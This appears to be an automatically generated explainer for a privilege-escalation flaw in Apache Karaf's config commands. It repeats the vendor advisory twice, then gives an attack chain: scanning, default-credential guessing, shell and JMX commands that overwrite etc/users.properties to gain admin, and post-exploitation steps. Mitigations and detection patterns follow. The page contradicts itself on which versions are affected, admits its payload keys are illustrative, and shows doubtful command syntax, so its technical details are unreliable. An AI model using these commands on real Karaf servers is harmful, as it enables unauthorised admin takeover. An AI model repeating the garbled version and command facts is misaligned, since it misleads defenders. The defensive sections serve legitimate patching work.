CVE-2026-140880 — Apache Software Foundation Apache Karaf (4.4.13) — CWE-863
The fix for CVE-2026-91012, released in Apache Karaf 4.4.12, restricts the file a new configuration is written to so that it stays inside ${karaf.etc}. This is not sufficient, because files reserved to the admin role, such as etc/users.properties and the JMX and command ACL files, are also located in ${karaf.etc}. ConfigRepositoryImpl, which backs the config MBean and the config:* shell commands, still derives the target file from caller-supplied input such as the felix.fileinstall.filename property. The shipped ACLs select the required role from the configuration PID, not from the file that is written. An authenticated user with the manager role can therefore use a PID they are allowed to edit to overwrite a reserved file, and gain the admin role. Users are recommended to upgrade to version 4.4.13 or 4.5.0, which fix the issue. A new configuration can now only be written to a file named after its own PID or factory PID, with a configuration file extension. MitigationUsers who cannot upgrade should grant the manager role only to users trusted as much as admins. They can also require the admin role for edit, update and property-* in etc/org.apache.karaf.command.acl.config.cfg, and for create, update, setProperty, appendProperty and deleteProperty in etc/jmx.acl.org.apache.karaf.config.cfg.
The fix for CVE-2026-91012, released in Apache Karaf 4.4.12, restricts the file a new configuration is written to so that it stays inside ${karaf.etc}. This is not sufficient, because files reserved to the admin role, such as etc/users.properties and the JMX and command ACL files, are also located in ${karaf.etc}. ConfigRepositoryImpl, which backs the config MBean and the config:* shell commands, still derives the target file from caller-supplied input such as the felix.fileinstall.filename property. The shipped ACLs select the required role from the configuration PID, not from the file that is written. An authenticated user with the manager role can therefore use a PID they are allowed to edit to overwrite a reserved file, and gain the admin role. Users are recommended to upgrade to version 4.4.13 or 4.5.0, which fix the issue. A new configuration can now only be written to a file named after its own PID or factory PID, with a configuration file extension. MitigationUsers who cannot upgrade should grant the manager role only to users trusted as much as admins. They can also require the admin role for edit, update and property-* in etc/org.apache.karaf.command.acl.config.cfg, and for create, update, setProperty, appendProperty and deleteProperty in etc/jmx.acl.org.apache.karaf.config.cfg.
🎯 What is this vulnerability?
CVE‑2026‑140880 is a Missing Authorization flaw (CWE‑863) in Apache Karaf 4.4.13 (and earlier).
The vulnerability stems from the way the ConfigRepositoryImpl component (which backs the config:* shell commands and the ConfigAdmin MBean) resolves the target file for a new configuration.
- The component accepts a caller‑supplied value for the
felix.fileinstall.filenameproperty.
It then writes the configuration to that path without validating that the path is inside the Karaf configuration directory ( - The ACLs that protect these files are based on the PID of the configuration, not on the file that is actually written.
- Consequently, a user who has the
managerrole (which is allowed to edit a subset of PIDs) can supply a PID they are permitted to edit and setfelix.fileinstall.filenameto a reserved file. - The resulting write operation replaces the reserved file, effectively granting the attacker
adminprivileges.
${karaf.etc}) and without checking that the file is not one of the files reserved for the admin role* (e.g. etc/users.properties, etc/jmx.acl.org.apache.karaf.config.cfg, etc/org.apache.karaf.command.acl.config.cfg).
The flaw is independent of the earlier CVE‑2026‑91012 fix; the latter only limited the directory of the target file, not the file name or role that is required to edit it.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path that an attacker could follow. All commands are syntactically valid for the Karaf shell or JMX; the exact HTTP endpoints are illustrative because the CVE description does not disclose them.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Network scan | Identify hosts with port 8181 (Karaf HTTP console) or 8182 (Karaf JMX). |
| 1.2 | Banner grab | curl -I http://<host>:8181/ → look for “Apache Karaf” and version string. |
| 1.3 | Version enumeration | curl http://<host>:8181/api/karaf/version (if the REST API is enabled) or use jmxterm to query org.apache.karaf:type=Framework for the karaf.version attribute. |
| 1.4 | Credential discovery | Attempt to log in with known default credentials (karaf:karaf) or use credential‑dumping tools against the JMX port. |
Result: The attacker learns that the target is Apache Karaf 4.4.12 (or earlier) and that the user manager exists.2. Exploitation
The attacker must first authenticate as a user with the manager role. Once authenticated, they can use either the Karaf shell (over SSH or the HTTP console) or the ConfigAdmin MBean via JMX.
2.1 Using the Karaf Shell
# Connect to the Karaf shell (SSH or HTTP console)
ssh karaf@<host> -p 22
# Verify the manager role
karaf@host:~> whoami
karaf@host:~> list
# (ensure the user has the manager role)
# Overwrite etc/users.properties with a new admin user
karaf@host:~> config:update org.apache.karaf.command.acl.config \
-Dfelix.fileinstall.filename=etc/users.properties \
-Dorg.apache.karaf.command.acl.config.users=admin:adminExplanation: config:update writes a configuration file named after the PID (org.apache.karaf.command.acl.config.cfg).
Because the attacker supplies felix.fileinstall.filename=etc/users.properties, the file is written to etc/users.properties.
The property org.apache.karaf.command.acl.config.users is an example of how the attacker can inject the desired content; the actual property key may differ, but the principle is the same: the file is overwritten with attacker‑controlled data.
2.2 Using JMX (JConsole / jmxterm)
# Connect to the JMX port (default 8182)
jmxterm -l <host>:8182 -u karaf -p karaf
# Query the ConfigAdmin MBean
jmxterm> list
# Find the MBean for the target PID
jmxterm> connect org.apache.karaf:type=ConfigAdmin,name=org.apache.karaf.command.acl.config
# Prepare the properties map
jmxterm> call setProperties {"felix.fileinstall.filename":"etc/users.properties","org.apache.karaf.command.acl.config.users":"admin:admin"}
# The above call writes the file etc/users.propertiesNote: The exact property names (org.apache.karaf.command.acl.config.users) are illustrative; the attacker can supply any key/value pairs that will be persisted in the target file.3. Post‑Exploitation
etc/users.properties to include an admin user. admin privileges, the attacker can:config:, bundle:, service:, etc.).
* Deploy arbitrary bundles (JARs) that can run arbitrary Java code.
* Modify any configuration file, including the JMX and command ACLs, to lock themselves out or to grant further privileges to other accounts.
* Disable security features or change the Karaf runtime environment.🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C:H) | The attacker can read any file on the host by deploying a bundle, or by modifying etc/users.properties to create an account that can read logs, configuration files, and sensitive data. |
| Integrity (I:H) | The attacker can overwrite any configuration file, including etc/users.properties, etc/jmx.acl.org.apache.karaf.config.cfg, and etc/org.apache.karaf.command.acl.config.cfg. This allows arbitrary modification of the Karaf runtime, disabling security, or installing backdoors. |
| Availability (A:H) | By corrupting critical configuration files or deploying a bundle that consumes all resources, the attacker can crash the Karaf instance or the entire host, causing denial of service. |
Practical consequences for a production Karaf environment include:
🛡️ Remediation & Mitigation
Affected Versions
| Product | Affected Versions |
|---|---|
| Apache Karaf | 4.4.12 and earlier (including 4.4.13‑bugfix releases that re‑introduce the flaw) |
| Apache Karaf | 4.5.0‑bugfix releases that re‑introduce the flaw |
Fixed in:
Upgrade Recommendation: Move to 4.4.13 or 4.5.0 (or later) as soon as possible. The fix enforces that a new configuration can only be written to a file named after its own PID or factory PID, with a.cfgextension, and that the file must reside inside${karaf.etc}.
Workarounds & Mitigations
| Mitigation | How to Apply |
|---|---|
Restrict the manager role | Grant the manager role only to users who are *trusted as much as admins*. Use the Karaf ACL configuration (etc/org.apache.karaf.command.acl.config.cfg) to limit the commands that manager can run. |
Require admin for sensitive ACL changes | In etc/org.apache.karaf.command.acl.config.cfg, set edit, update, property-* to require admin. In etc/jmx.acl.org.apache.karaf.config.cfg, set create, update, setProperty, appendProperty, deleteProperty to require admin. |
| Disable the ConfigAdmin MBean | If the configuration is not changed at runtime, you can unregister the org.apache.karaf:type=ConfigAdmin MBean or disable the config:* shell commands. |
| File system permissions | Ensure that the Karaf process runs with the least privilege and that the ${karaf.etc} directory is not writable by the Karaf user except for the intended configuration files. |
| WAF / ModSecurity rule | If the Karaf HTTP console is exposed, add a rule that blocks requests containing felix.fileinstall.filename with a value that is not a valid PID or that points outside ${karaf.etc}. Example (pseudo‑rule): SecRule REQUEST_URI "@beginsWith /karaf/api/config" "chain,deny,log,msg:'Disallowed config write'"
| Disable HTTP console | If the HTTP console is not needed, disable it entirely (etc/org.apache.karaf.shell.cfg → http.enabled=false). |
Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| Config update to reserved file | config:update org.apache.karaf.command.acl.config -Dfelix.fileinstall.filename=etc/users.properties | Search Karaf shell logs (karaf.log) for config:update commands that reference etc/users.properties, etc/jmx.acl.org.apache.karaf.config.cfg, or etc/org.apache.karaf.command.acl.config.cfg. |
| JMX setProperties to reserved file | setProperties {"felix.fileinstall.filename":"etc/users.properties",...} | Monitor JMX traffic (e.g., via jmxterm logs or network captures) for setProperties calls that include felix.fileinstall.filename. |
| File modification timestamps | etc/users.properties modified at unusual times | Use file integrity monitoring (e.g., Tripwire, OSSEC) to alert on changes to etc/users.properties or ACL files. |
| New admin user creation | admin user appears in etc/users.properties | Parse users.properties for entries that grant the admin role. |
⚠️ Urgency
manager role, which is often granted to many users). manager role and requiring admin for ACL changes). The vulnerability can be exploited without any user interaction beyond having a manager account, so the window of opportunity is wide.[🤖 CVE Professor AI Security Engine]
FOFA Query